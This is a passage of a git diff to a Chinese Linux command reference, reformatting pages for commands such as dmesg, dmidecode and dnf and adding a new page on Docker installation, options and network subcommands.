+[1]- 28756 Stopped ssh 192.168.1.4
+[2]+ 28833 Stopped ssh 192.168.1.7
+[3] 28986 Running sleep 120 &
+
+# 删除运行状态的作业。
+[user2@pc] disown -r
+
+[user2@pc] jobs -l
+[1]- 28756 Stopped ssh 192.168.1.4
+[2]+ 28833 Stopped ssh 192.168.1.7
+
+# 注意disown只是移除作业,并没有停止。
+[user2@pc] pgrep -a -u user2 -f 'sleep 120'
+28986 sleep 120
+
+# 删除指定的作业。
+[user2@pc] disown %2
+bash: warning: deleting stopped job 2 with process group 28833
+
+[user2@pc] jobs -l
+[1]- 28756 Stopped ssh 192.168.1.4
+
+# 注意disown只是移除作业,并没有停止。
+[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.7'
+28833 ssh 192.168.1.7
+
+# 删除全部作业。
+[user2@pc] disown -a
+bash: warning: deleting stopped job 1 with process group 28756
+
+[user2@pc] jobs -l
+
+# 注意disown只是移除作业,并没有停止。
+[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.4'
+28756 ssh 192.168.1.4
+```
+
+```shell
+# 演示-h选项的作用。
+[user2@pc] sleep 90 &
+[1] 109080
+
+[user2@pc] jobs -l
+[1]+ 109080 Running sleep 90 &
+
+[user2@pc] disown -h %1
+
+[user2@pc] exit
+
+# 此时前一个终端已经关闭,现在打开新终端查找该作业。
+[user2@pc] pgrep -a -u user2 -f 'sleep 90'
+109080 sleep 90
+```
+
+### 注意
+
+1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。
+2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。
+3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+### 参考链接
+
+- [disown的用法](https://www.cyberciti.biz/faq/unix-linux-disown-command-examples-usage-syntax/)
+
+
diff --git a/command/dmesg.md b/command/dmesg.md
index be213520368..d1258517a50 100644
--- a/command/dmesg.md
+++ b/command/dmesg.md
@@ -7,23 +7,23 @@ dmesg
**dmesg命令** 被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在`/var/log/dmesg`文件里。
-### 语法
+### 语法
-```
+```shell
dmesg(选项)
```
-### 选项
+### 选项
-```
+```shell
-c:显示信息后,清除ring buffer中的内容;
-s<缓冲区大小>:预设置为8196,刚好等于ring buffer的大小;
-n:设置记录信息的层级。
```
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# dmesg | head
Linux version 2.6.18-348.6.1.el5 (mockbuild@builder17.centos.org) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-54)) #1 SMP Tue May 21 15:34:22 EDT 2013
BIOS-provided physical RAM map:
@@ -39,7 +39,7 @@ BIOS-provided physical RAM map:
查看硬盘基础信息
-```bash
+```shell
dmesg | grep sda
[ 2.442555] sd 0:0:0:0: [sda] 488281250 512-byte logical blocks: (250 GB/232 GiB)
@@ -50,4 +50,12 @@ dmesg | grep sda
[ 2.448503] sd 0:0:0:0: [sda] Attached SCSI disk
```
-
+查看多关键字
+
+```shell
+dmesg | grep -E "vcc5v0_host|vcc_3v3_s0|ttyS"
+
+[ 1.193143] vcc5v0_host: supplied by vcc5v0_usb
+[ 1.481139] feb80000.serial: ttyS5 at MMIO 0xfeb80000 (irq = 73, base_baud = 1500000) is a 16550A
+[ 1.513541] vcc_3v3_s0: supplied by vcc5v0_sys
+```
diff --git a/command/dmidecode.md b/command/dmidecode.md
index c4784ce5529..3b1bb9d89dd 100644
--- a/command/dmidecode.md
+++ b/command/dmidecode.md
@@ -11,15 +11,15 @@ DMI(Desktop Management Interface,DMI)就是帮助收集电脑系统信息的
DMI充当了管理工具和系统层之间接口的角色。它建立了标准的可管理系统更加方便了电脑厂商和用户对系统的了解。DMI的主要组成部分是Management Information Format(MIF)数据库。这个数据库包括了所有有关电脑系统和配件的信息。通过DMI,用户可以获取序列号、电脑厂商、串口信息以及其它系统配件信息。
-### 语法
+### 语法
-```
+```shell
dmidecode [选项]
```
-### 选项
+### 选项
-```
+```shell
-d:(default:/dev/mem)从设备文件读取信息,输出内容与不加参数标准输出相同。
-h:显示帮助信息。
-s:只显示指定DMI字符串的信息。(string)
@@ -114,9 +114,9 @@ dmidecode [选项]
* Additional Information
* Onboard Device
-### 实例
+### 实例
-```bash
+```shell
dmidecode -t 1 # 查看服务器信息
dmidecode | grep 'Product Name' # 查看服务器型号
dmidecode |grep 'Serial Number' # 查看主板的序列号
@@ -133,7 +133,7 @@ cat /proc/scsi/scsi # 查看服务器硬盘信息
不带选项执行dmidecode命令通常会输出所有的硬件信息。dmidecode命令有个很有用的选项-t,可以按指定类型输出相关信息,假如要获得处理器方面的信息,则可以执行:
-```
+```shell
[root@localhost ~]# dmidecode -t processor
# dmidecode 2.11
SMBIOS 2.5 present.
@@ -221,7 +221,7 @@ Processor Information
查看内存的插槽数,已经使用多少插槽。每条内存多大,已使用内存多大
-```bash
+```shell
dmidecode|grep -P -A5 "Memory\s+Device"|grep Size|grep -v Range
# Size: 2048 MB
@@ -232,16 +232,15 @@ dmidecode|grep -P -A5 "Memory\s+Device"|grep Size|grep -v Range
查看内存支持的最大内存容量
-```bash
+```shell
dmidecode|grep -P 'Maximum\s+Capacity'
# Maximum Capacity: 16 GB
-
```
查看内存的频率
-```bash
+```shell
dmidecode|grep -A16 "Memory Device"
# Memory Device
@@ -288,7 +287,7 @@ dmidecode|grep -A16 "Memory Device"|grep 'Speed'
# Speed: 1333 MHz
# Speed: Unknown
-```
+```shell
+
-
diff --git a/command/dnf.md b/command/dnf.md
index 3caf6c990aa..b2b5cb0b71f 100644
--- a/command/dnf.md
+++ b/command/dnf.md
@@ -1,17 +1,17 @@
dnf
===
-
+
新一代的RPM软件包管理器
## 补充说明
**DNF** 是新一代的rpm软件包管理器。他首先出现在 Fedora 18 这个发行版中。而最近,它取代了yum,正式成为 Fedora 22 的包管理器。
-DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中,但你可以在使用 YUM 的同时使用 DNF 。你可以在这里获得关于 DNF 的更多知识:《 DNF 代替 YUM ,你所不知道的缘由》
+DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中,但你可以在使用 YUM 的同时使用 DNF 。
-DNF 的最新稳定发行版版本号是 1.0,发行日期是2015年5月11日。 这一版本的额 DNF 包管理器(包括在他之前的所有版本) 都大部分采用 Python 编写,发行许可为GPL v2.
+DNF 的最新稳定发行版版本号是 1.0,发行日期是2015年5月11日。 这一版本的 DNF 包管理器(包括在他之前的所有版本) 都大部分采用 Python 编写,发行许可为GPL v2.
-### 安装 DNF 包管理器
+### 安装 DNF 包管理器
DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经默认使用 DNF .
@@ -19,293 +19,247 @@ DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经
在系统中执行以下命令:
-```
-# yum install epel-release
+```shell
+yum install epel-release
```
或者
-```
-# yum install epel-release -y
+```shell
+yum install epel-release -y
```
其实这里并没有强制使用”-y”的理由,相反的,在不使用”-y”的情况下,用户可以在安装过程中查看到底有哪些东西被安装进了系统。但对于没有这个需求的用户,您可以在 YUM 中使用”-y”参数来自动安装所有东西。
2、使用 epel-release 依赖中的 YUM 命令来安装 DNF 包。在系统中执行以下命令:
-```
-# yum install dnf
+```shell
+yum install dnf
```
然后, DNF 包管理器就被成功的安装到你的系统中了。接下来,是时候开始我们的教程了!在这个教程中,您将会学到27个用于 DNF 包管理器的命令。使用这些命令,你可以方便有效的管理您系统中的 RPM 软件包。现在,让我们开始学习 DNF 包管理器的27条常用命令吧!
- **查看 DNF 包管理器版本**
+**查看 DNF 包管理器版本**
用处:该命令用于查看安装在您系统中的 DNF 包管理器的版本
-```
-# dnf –version
+```shell
+dnf –version
```
!Check-DNF-Version
- **查看系统中可用的 DNF 软件库**
+**查看系统中可用的 DNF 软件库**
用处:该命令用于显示系统中可用的 DNF 软件库
+```shell
+dnf repolist
```
-# dnf repolist
-```
-
-!Check-All-Enabled-Repositories
- **查看系统中可用和不可用的所有的 DNF 软件库**
+**查看系统中可用和不可用的所有的 DNF 软件库**
用处:该命令用于显示系统中可用和不可用的所有的 DNF 软件库
+```shell
+dnf repolist all
```
-# dnf repolist all
-```
-
-!3
- **列出所有 RPM 包**
+**列出所有 RPM 包**
用处:该命令用于列出用户系统上的所有来自软件库的可用软件包和所有已经安装在系统上的软件包
+```shell
+dnf list
```
-# dnf list
-```
-
-!4
- **列出所有安装了的 RPM 包**
+**列出所有安装了的 RPM 包**
用处:该命令用于列出所有安装了的 RPM 包
+```shell
+dnf list installed
```
-# dnf list installed
-```
-
-!5
- **列出所有可供安装的 RPM 包**
+**列出所有可供安装的 RPM 包**
用处:该命令用于列出来自所有可用软件库的可供安装的软件包
-```
-# dnf list available
+```shell
+dnf list available
```
-!6
-
- **搜索软件库中的 RPM 包**
+**搜索软件库中的 RPM 包**
用处:当你不知道你想要安装的软件的准确名称时,你可以用该命令来搜索软件包。你需要在”search”参数后面键入软件的部分名称来搜索。(在本例中我们使用”nano”)
-```
-# dnf search nano
+```shell
+dnf search nano
```
-!7
-
- **查找某一文件的提供者**
+**查找某一文件的提供者**
用处:当你想要查看是哪个软件包提供了系统中的某一文件时,你可以使用这条命令。(在本例中,我们将查找”/bin/bash”这个文件的提供者)
-```
-# dnf provides /bin/bash
+```shell
+dnf provides /bin/bash
```
-!8
-
- **查看软件包详情**
+**查看软件包详情**
用处:当你想在安装某一个软件包之前查看它的详细信息时,这条命令可以帮到你。(在本例中,我们将查看”nano”这一软件包的详细信息)
+```shell
+dnf info nano
```
-# dnf info nano
-```
-
-!9
- **安装软件包**
+**安装软件包**
用处:使用该命令,系统将会自动安装对应的软件及其所需的所有依赖(在本例中,我们将用该命令安装nano软件)
+```shell
+dnf install nano
```
-# dnf install nano
-```
-
-!10
- **升级软件包**
+**升级软件包**
用处:该命令用于升级制定软件包(在本例中,我们将用命令升级”systemd”这一软件包)
+```shell
+dnf update systemd
```
-# dnf update systemd
-```
-
-!11
- **检查系统软件包的更新**
+**检查系统软件包的更新**
用处:该命令用于检查系统中所有软件包的更新
+```shell
+dnf check-update
```
-# dnf check-update
-```
-
-!12
- **升级所有系统软件包**
+**升级所有系统软件包**
用处:该命令用于升级系统中所有有可用升级的软件包
-```
-# dnf update 或 # dnf upgrade
+```shell
+dnf update 或 dnf upgrade
```
-!13
-
- **删除软件包**
+**删除软件包**
用处:删除系统中指定的软件包(在本例中我们将使用命令删除”nano”这一软件包)
-```
-# dnf remove nano 或 # dnf erase nano
+```shell
+dnf remove nano 或 dnf erase nano
```
-!14
-
- **删除无用孤立的软件包**
+**删除无用孤立的软件包**
用处:当没有软件再依赖它们时,某一些用于解决特定软件依赖的软件包将会变得没有存在的意义,该命令就是用来自动移除这些没用的孤立软件包。
-```
-# dnf autoremove
+```shell
+dnf autoremove
```
-!15
-
- **删除缓存的无用软件包**
+**删除缓存的无用软件包**
用处:在使用 DNF 的过程中,会因为各种原因在系统中残留各种过时的文件和未完成的编译工程。我们可以使用该命令来删除这些没用的垃圾文件。
+```shell
+dnf clean all
```
-# dnf clean all
-```
-
-!16
- **获取有关某条命令的使用帮助**
+**获取有关某条命令的使用帮助**
用处:该命令用于获取有关某条命令的使用帮助(包括可用于该命令的参数和该命令的用途说明)(本例中我们将使用命令获取有关命令”clean”的使用帮助)
+```shell
+dnf help clean
```
-# dnf help clean
-```
-
-!17
- **查看所有的 DNF 命令及其用途**
+**查看所有的 DNF 命令及其用途**
用处:该命令用于列出所有的 DNF 命令及其用途
+```shell
+dnf help
```
-# dnf help
-```
-
-!18
- **查看 DNF 命令的执行历史**
+**查看 DNF 命令的执行历史**
用处:您可以使用该命令来查看您系统上 DNF 命令的执行历史。通过这个手段您可以知道在自您使用 DNF 开始有什么软件被安装和卸载。
+```shell
+dnf history
```
-# dnf history
-```
-
-!19
- **查看所有的软件包组**
+**查看所有的软件包组**
用处:该命令用于列出所有的软件包组
-```
-# dnf grouplist
+```shell
+dnf grouplist
```
-!20
-
- **安装一个软件包组**
+**安装一个软件包组**
用处:该命令用于安装一个软件包组(本例中,我们将用命令安装”Educational Software”这个软件包组)
-```
-# dnf groupinstall ‘Educational Software’
+```shell
+dnf groupinstall ‘Educational Software’
```
-!21
-
- **升级一个软件包组中的软件包**
+**升级一个软件包组中的软件包**
用处:该命令用于升级一个软件包组中的软件包(本例中,我们将用命令升级”Educational Software”这个软件包组中的软件)
-```
-# dnf groupupdate ‘Educational Software’
+```shell
+dnf groupupdate ‘Educational Software’
```
-!22
-
- **删除一个软件包组**
+**删除一个软件包组**
用处:该命令用于删除一个软件包组(本例中,我们将用命令删除”Educational Software”这个软件包组)
+```shell
+dnf groupremove ‘Educational Software’
```
-# dnf groupremove ‘Educational Software’
-```
-
-!23
- **从特定的软件包库安装特定的软件**
+**从特定的软件包库安装特定的软件**
用处:该命令用于从特定的软件包库安装特定的软件(本例中我们将使用命令从软件包库 epel 中安装 phpmyadmin 软件包)
-```
-# dnf –enablerepo=epel install phpmyadmin
+```shell
+dnf –enablerepo=epel install phpmyadmin
```
- **更新软件包到最新的稳定发行版**
+**更新软件包到最新的稳定发行版**
用处:该命令可以通过所有可用的软件源将已经安装的所有软件包更新到最新的稳定发行版
-```
-# dnf distro-sync
+```shell
+dnf distro-sync
```
- **重新安装特定软件包**
+**重新安装特定软件包**
用处:该命令用于重新安装特定软件包(本例中,我们将使用命令重新安装”nano”这个软件包)
-```
-# dnf reinstall nano
+```shell
+dnf reinstall nano
```
-!26
-
- **回滚某个特定软件的版本**
+**回滚某个特定软件的版本**
用处:该命令用于降低特定软件包的版本(如果可能的话)(本例中,我们将使用命令降低”acpid”这个软件包的版本)
-```
-# dnf downgrade acpid
+```shell
+dnf downgrade acpid
```
样例输出:
-```
+```shell
Using metadata from Wed May 20 12:44:59 2015
No match for available package: acpid-2.0.19-5.el7.x86_64
Error: Nothing to do.
@@ -313,7 +267,7 @@ Error: Nothing to do.
原作者注:在执行这条命令的时候, DNF 并没有按照我期望的那样降级指定的软件(“acpid”)。该问题已经上报。
-### 总结
+### 总结
DNF 包管理器作为 YUM 包管理器的升级替代品,它能自动完成更多的操作。但在我看来,正因如此,所以 DNF 包管理器不会太受那些经验老道的 Linux 系统管理者的欢迎。举例如下:
@@ -323,4 +277,3 @@ DNF 包管理器作为 YUM 包管理器的升级替代品,它能自动完成
4. 当你在 DNF 中排除了某个软件库,那么该操作将会影响到你之后所有的操作,不像在 YUM 下那样,你的排除操作只会咋升级和安装软件时才起作用。
-
\ No newline at end of file
diff --git a/command/dnsdomainname.md b/command/dnsdomainname.md
index 1c4e55a26f9..4b0d413cbe8 100644
--- a/command/dnsdomainname.md
+++ b/command/dnsdomainname.md
@@ -1,25 +1,27 @@
dnsdomainname
===
-
+
定义DNS系统中FQDN名称的域名
## 补充说明
**dnsdomainname命令** 用于定义DNS系统中FQDN名称中的域名。
-### 语法
+### 语法
-```
+```shell
dnsdomainname(选项)
```
-### 选项
+### 选项
+```shell
-v:详细信息模式,输出指令执行的详细信息。
+```
-### 实例
+### 实例
-```
+```shell
[root@AY1307311912260196fcZ ~]# dnsdomainname -v
gethostname()=`AY1307311912260196fcZ'
Resolving `AY1307311912260196fcZ' ...
@@ -28,4 +30,3 @@ Result: h_addr_list=`10.160.7.81'
```
-
\ No newline at end of file
diff --git a/command/docker.md b/command/docker.md
new file mode 100644
index 00000000000..5e293866f5e
--- /dev/null
+++ b/command/docker.md
@@ -0,0 +1,352 @@
+docker
+===
+
+容器化技术,可以将应用程序及其依赖项打包到一个可移植的容器中,使其可以在不同的环境中运行
+
+## 补充说明
+
+Docker 容器可以快速部署、可移植、可扩展,并且可以在不同的平台上运行。Docker 可以帮助开发人员和运维人员更轻松地构建、发布和管理应用程序。
+
+## 安装
+
+在 Linux 中输入以下命令安装 Docker。
+
+```bash
+# CentOS 参考:https://blog.csdn.net/zhaoyuanh/article/details/126610347
+#如果系统里有旧版本docker的话需要先行删除:
+sudo yum remove docker \
+ docker-client \
+ docker-client-latest \
+ docker-common \
+ docker-latest \
+ docker-latest-logrotate \
+ docker-logrotate \
+ docker-engine
+
+#设置仓库:
+yum install -y yum-utils
+
+#添加Docker仓库:
+yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
+
+#安装Docker引擎(默认最新):
+yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin
+
+#启动docker:
+sudo systemctl start docker
+
+```
+
+```bash
+# Docker官方提供的快速安装脚本 https://github.com/docker/docker-install
+# 不建议在生产环境中使用
+curl -fsSL https://get.docker.com -o get-docker.sh
+sudo sh ./get-docker.sh --dry-run
+
+# 使用systemctl设置开机启动
+sudo systemctl enable docker.service
+sudo systemctl enable containerd.service
+```
+
+## 语法
+
+```shell
+docker create [options] IMAGE
+```
+
+## 选项参数
+
+```shell
+attach 将本地标准输入、输出和错误流附加到正在运行的容器
+build 从 Dockerfile 构建镜像
+commit 从容器的更改创建新镜像
+cp 在容器和本地文件系统之间复制文件/文件夹
+create 创建一个新容器
+diff 检查容器文件系统上文件或目录的更改
+events 从服务器获取实时事件
+exec 在正在运行的容器中运行命令
+export 将容器的文件系统导出为 tar 存档
+history 显示镜像的历史
+images 列出镜像
+import 从 tarball 导入内容以创建文件系统映像
+info 显示系统范围的信息
+inspect 返回有关 Docker 对象的低级信息
+kill 杀死一个或多个正在运行的容器
+load 从 tar 存档或 STDIN 加载镜像
+login 登录到 Docker 注册表
+logout 从 Docker 注册表中注销
+logs 获取容器的日志
+pause 暂停一个或多个容器内的所有进程
+port 列出容器的端口映射或特定映射
+ps 列出容器
+pull 从注册表中提取镜像或存储库
+push 将镜像或存储库推送到注册表
+rename 重命名容器
+restart 重启一个或多个容器
+rm 移除一个或多个容器
+rmi 移除一张或多张镜像
+run 在新容器中运行命令
+save 将一个或多个镜像保存到 tar 存档(默认流式传输到 STDOUT)
+search 在 Docker Hub 中搜索镜像
+start 启动一个或多个停止的容器
+stats 显示容器资源使用统计的实时流
+stop 停止一个或多个正在运行的容器
+tag 创建一个引用 SOURCE_IMAGE 的标记 TARGET_IMAGE
+top 显示容器的运行进程
+unpause 取消暂停一个或多个容器中的所有进程
+update 更新一个或多个容器的配置
+version 显示 Docker 版本信息
+wait 阻塞直到一个或多个容器停止,然后打印它们的退出代码
+
+<环境参数>
+ --add-host list # 添加自定义主机到 IP 映射 (host:ip)
+-a, --attach list # 连接到 STDIN、STDOUT 或 STDERR
+ --blkio-weight uint16 # 块 IO(相对权重),介于 10 和 1000 之间,或 0 禁用(默认 0)
+ --blkio-weight-device list # 块 IO 权重(相对设备权重)(默认 [])
+ --cap-add list # 添加 Linux 功能
+ --cap-drop list # 放弃 Linux 功能
+ --cgroup-parent string # 容器的可选父 cgroup
+ --cgroupns string # 要使用的 Cgroup 命名空间(主机|私有)
+ # 'host': 在 Docker 主机的 cgroup 命名空间中运行容器
+ # 'private': 在自己的私有 cgroup 命名空间中运行容器
+ # '': 使用由守护进程上的
+ # default-cgroupns-mode 选项配置的 cgroup 命名空间(默认)
+ --cidfile string # 将容器 ID 写入文件
+ --cpu-period int # 限制 CPU CFS(完全公平调度器)周期
+ --cpu-quota int # 限制 CPU CFS(完全公平调度器)配额
+ --cpu-rt-period int # 以微秒为单位限制 CPU 实时周期
+ --cpu-rt-runtime int # 以微秒为单位限制 CPU 实时运行时间
+-c, --cpu-shares int # CPU 份额(相对权重)
+ --cpus decimal # CPU 数量
+ --cpuset-cpus string # 允许执行的 CPU (0-3, 0,1)
+ --cpuset-mems string # 允许执行的 MEM (0-3, 0,1)
+ --device list # 将主机设备添加到容器
+ --device-cgroup-rule list # 将规则添加到 cgroup 允许的设备列表
+ --device-read-bps list # 限制设备的读取速率(每秒字节数)(默认 [])
+ --device-read-iops list # 限制设备的读取速率(每秒 IO)(默认 [])
+ --device-write-bps list # 限制设备的写入速率(每秒字节数)(默认 [])
+ --device-write-iops list # 限制设备的写入速率(每秒 IO)(默认 [])
+ --disable-content-trust # 跳过镜像验证(默认为 true)
+ --dns list # 设置自定义 DNS 服务器
+ --dns-option list # 设置 DNS 选项
+ --dns-search list # 设置自定义 DNS 搜索域
+ --domainname string # 容器 NIS 域名
+ --entrypoint string # 覆盖镜像的默认入口点
+-e, --env list # 设置环境变量
+ --env-file list # 读入环境变量文件
+ --expose list # 公开一个端口或一系列端口
+ --gpus gpu-request # 要添加到容器中的 GPU 设备(“全部”以传递所有 GPU)
+ --group-add list # 添加其他组以加入
+ --health-cmd string # 运行以检查运行状况的命令
+ --health-interval duration # 运行检查之间的时间 (ms|s|m|h) (默认 0s)
+ --health-retries int # 需要报告不健康的连续失败
+ --health-start-period duration # 开始健康重试倒计时之前容器初始化的开始时间(ms|s|m|h)(默认 0s)
+ --health-timeout duration # 允许运行一项检查的最长时间 (ms|s|m|h) (默认 0s)
+ --help # 打印使用
+-h, --hostname string # 容器主机名
+ --init # 在容器内运行一个 init 来转发信号并收获进程
+-i, --interactive # 即使没有连接,也保持 STDIN 打开
+ --ip string # IPv4 地址(例如 172.30.100.104)
+ --ip6 string # IPv6 地址(例如,2001:db8::33)
+ --ipc string # 要使用的 IPC 模式
+ --isolation string # 容器隔离技术
+ --kernel-memory bytes # 内核内存限制
+-l, --label list # 在容器上设置元数据
+ --label-file list # 读入以行分隔的标签文件
+ --link list # 添加到另一个容器的链接
+ --link-local-ip list # 容器 IPv4/IPv6 链路本地地址
+ --log-driver string # 容器的日志记录驱动程序
+ --log-opt list # 日志驱动程序选项
+ --mac-address string # 容器 MAC 地址(例如 92:d0:c6:0a:29:33)
+-m, --memory bytes # 内存限制
+ --memory-reservation bytes # 内存软限制
+ --memory-swap bytes # 交换限制等于内存加上交换:'-1' 启用无限交换
+ --memory-swappiness int # 调整容器内存交换(0 到 100)(默认 -1)
+ --mount mount # 将文件系统挂载附加到容器
+ --name string # 为容器分配名称
+ --network network # 将容器连接到网络
+ --network-alias list # 为容器添加网络范围的别名
+ --no-healthcheck # 禁用任何容器指定的 HEALTHCHECK
+ --oom-kill-disable # 禁用 OOM 杀手
+ --oom-score-adj int # 调整主机的 OOM 首选项(-1000 到 1000)
+ --pid string # 要使用的 PID 命名空间
+ --pids-limit int # 调整容器 pids 限制(设置 -1 表示无限制)
+ --platform string # 如果服务器支持多平台,则设置平台
+ --privileged # 授予此容器扩展权限
+-p, --publish list # 将容器的端口发布到主机
+-P, --publish-all # 将所有暴露的端口发布到随机端口
+ --pull string # 创建前拉取镜像("always"|"missing"|"never")(默认"missing")
+ --read-only # 将容器的根文件系统挂载为只读
+ --restart string # 容器退出时应用的重启策略(默认“否”)
+ --rm # 容器退出时自动移除
+ --runtime string # 用于此容器的运行时
+ --security-opt list # 安全选项
+ --shm-size bytes # /dev/shm 的大小
+ --stop-signal string # 停止容器的信号(默认“SIGTERM”)
+ --stop-timeout int # 停止容器的超时(以秒为单位)
+ --storage-opt list # 容器的存储驱动程序选项
+ --sysctl map # Sysctl 选项(默认 map[])
+ --tmpfs list # 挂载 tmpfs 目录
+-t, --tty # 分配一个伪 TTY
+ --ulimit ulimit # ulimit 选项(默认 [])
+-u, --user string # 用户名或 UID(格式:[:])
+ --userns string # 要使用的用户命名空间
+ --uts string # 要使用的 UTS 命名空间
+-v, --volume list # 绑定挂载卷
+ --volume-driver string # 容器的可选卷驱动程序
+ --volumes-from list # 从指定容器挂载卷
+-w, --workdir string # 容器内的工作目录
+```
+
+## 实例
+
+介绍几个常用场景:Docker Hub镜像市场相关,镜像仓库命令。
+
+1、下载docker hub镜像市场中的镜像。
+
+```bash
+docker pull user/image
+```
+
+2、在 docker hub 中搜索镜像。
+
+```bash
+# 注意需要下载镜像才能使用
+docker search search_word
+```
+
+3、向 docker hub 进行身份验证。
+
+```bash
+docker login
+```
+
+4、将镜像上传到 docker hub。
+
+```bash
+docker push user/image
+```
+
+
+## docker network
+## 语法
+
+```
+docker network [COMMAND]
+```
+
+## COMMAND
+
+### docker network connect
+将容器连接到网络。您可以按名称或ID连接容器。连接后,容器可以与同一网络中的其他容器通信。
+
+```shell
+docker network connect [OPTIONS] NETWORK CONTAINER
+```
+
+#### 选项参数
+
+```shell
+--alias 为容器添加网络范围的别名
+--driver-opt 网络的驱动程序选项
+--ip IPv4地址(例如172.30.100.104)
+--ip6 IPv6地址(例如2001:db8 :: 33)
+--link 将链接添加到另一个容器(建议不用,后期应该会删除的)
+--link-local-ip 为容器添加本地链接地址
+```
+
+### docker network disconnect
+断开容器与网络的连接
+
+```shell
+docker network disconnect [OPTIONS] NETWORK CONTAINER
+```
+
+#### 选项参数
+
+```shell
+-f,--force 强制容器断开网络连接
+```
+
+### docker network create
+创建一个新的网络
+
+```shell
+docker network create [OPTIONS] NETWORK
+```
+
+#### 选项参数
+
+```shell
+--attachable API 1.25+启用手动容器附件
+--aux-address 网络驱动程序使用的辅助IPv4或IPv6地址
+--config-from API 1.30+从中复制配置的网络
+--config-only API 1.30+创建仅配置网络
+-d,--driver bridge 驱动程序来管理网络
+--gateway 主子网的IPv4或IPv6网关
+--ingress API 1.29+创建群集路由网状网络
+--internal 限制外部访问网络
+--ip-range 从子范围分配容器ip
+--ipam-driver IP地址管理驱动程序
+--ipam-opt 设置IPAM驱动程序特定选项
+--ipv6 启用IPv6网络
+--label 在网络上设置元数据
+-o,--opt 设置驱动程序特定选项
+--scope API 1.30+控制网络范围
+--subnet 代表网段的CIDR格式的子网
+```
+
+### docker network inspect
+返回有关一个或多个网络的信息。默认情况下,此命令将所有结果呈现在JSON对象中。
+
+```shell
+docker network inspect [OPTIONS] NETWORK [NETWORK...]
+```
+
+#### 选项参数
+
+```shell
+-f,--format 使用给定的Go模板格式化输出
+-v,--verbose 详细输出以进行诊断
+```
+
+### docker network ls
+列出引擎daemon知道的所有网络。这包括跨群集中多个主机的网络
+
+```shell
+docker network ls [OPTIONS]
+```
+
+#### 选项参数
+
+```shell
+-f,--filter 提供过滤器值(例如"driver = bridge")
+--format 使用Go模板的精美印刷网络
+--no-trunc 不要截断输出
+-q,--quiet 仅显示网络ID
+```
+
+### docker network prune
+删除所有未使用的网络。未使用的网络是未被任何正在使用的容器引用的网络()。
+
+```shell
+docker network prune [OPTIONS]
+```
+
+#### 选项参数
+
+```shell
+--filter 提供过滤器值(例如'until =')
+-f,--force 不提示确认
+```
+### docker network rm
+按名称或标识符删除一个或多个网络。要删除网络,必须首先断开连接到它的所有容器。
+
+```shell
+docker network rm NETWORKID [NETWORKID...]
+```
+
+## 官网
+
+更多安装使用方法可以访问学习:https://wangchujiang.com/reference/docs/docker.html
+由上海 屠天煜编写
diff --git a/command/domainname.md b/command/domainname.md
index 58a9b2ceadd..7acccdb7b9d 100644
--- a/command/domainname.md
+++ b/command/domainname.md
@@ -1,32 +1,32 @@
domainname
===
-
+
显示和设置系统的NIS域名
## 补充说明
**domainname命令** 用于显示和设置系统的NIS域名。
-### 语法
+### 语法
-```
+```shell
domainname(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-v:详细信息模式;
-F:指定读取域名信息的文件。
```
-### 参数
+### 参数
NIS域名:指定要设置的NIS域名。
-### 实例
+### 实例
-```
+```shell
[root@AY1307311912260196fcZ ~]# domainname -v
getdomainname()=`(none)'
(none)
@@ -39,4 +39,3 @@ www.jsdig.com
```
-
\ No newline at end of file
diff --git a/command/dos2unix.md b/command/dos2unix.md
index 296a9e408a7..fcf64460c58 100644
--- a/command/dos2unix.md
+++ b/command/dos2unix.md
@@ -9,13 +9,13 @@ dos2unix
### 语法
-```
+```shell
dos2unix [-hkqV] [-c convmode] [-o file ...] [-n infile outfile ...]
```
### 选项
-```
+```shell
-k:保持输出文件的日期不变
-q:安静模式,不提示任何警告信息。
-V:查看版本
@@ -32,26 +32,26 @@ dos2unix [-hkqV] [-c convmode] [-o file ...] [-n infile outfile ...]
最简单的用法就是dos2unix直接跟上文件名:
-```
+```shell
dos2unix file
```
如果一次转换多个文件,把这些文件名直接跟在dos2unix之后。(注:也可以加上`-o`参数,也可以不加,效果一样)
-```
+```shell
dos2unix file1 file2 file3
dos2unix -o file1 file2 file3
```
上面在转换时,都会直接在原来的文件上修改,如果想把转换的结果保存在别的文件,而源文件不变,则可以使用`-n`参数。
-```
+```shell
dos2unix oldfile newfile
```
如果要保持文件时间戳不变,加上`-k`参数。所以上面几条命令都是可以加上`-k`参数来保持文件时间戳的。
-```
+```shell
dos2unix -k file
dos2unix -k file1 file2 file3
dos2unix -k -o file1 file2 file3
@@ -60,8 +60,7 @@ dos2unix -k -n oldfile newfile
转换当前目录下所有文件
-```
+```shell
find -type f | xargs dos2unix
```
-
\ No newline at end of file
diff --git a/command/dpkg-deb.md b/command/dpkg-deb.md
index 8da7ee49d8e..b8ff7ec24ec 100644
--- a/command/dpkg-deb.md
+++ b/command/dpkg-deb.md
@@ -1,21 +1,21 @@
dpkg-deb
===
-
+
Debian Linux下的软件包管理工具
## 补充说明
**dpkg-deb命令** 是Debian Linux下的软件包管理工具,它可以对软件包执行打包和解包操作以及提供软件包信息。
-### 语法
+### 语法
-```
+```shell
dpkg-deb(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-c:显示软件包中的文件列表;
-e:将主控信息解压;
-f:把字段内容打印到标准输出;
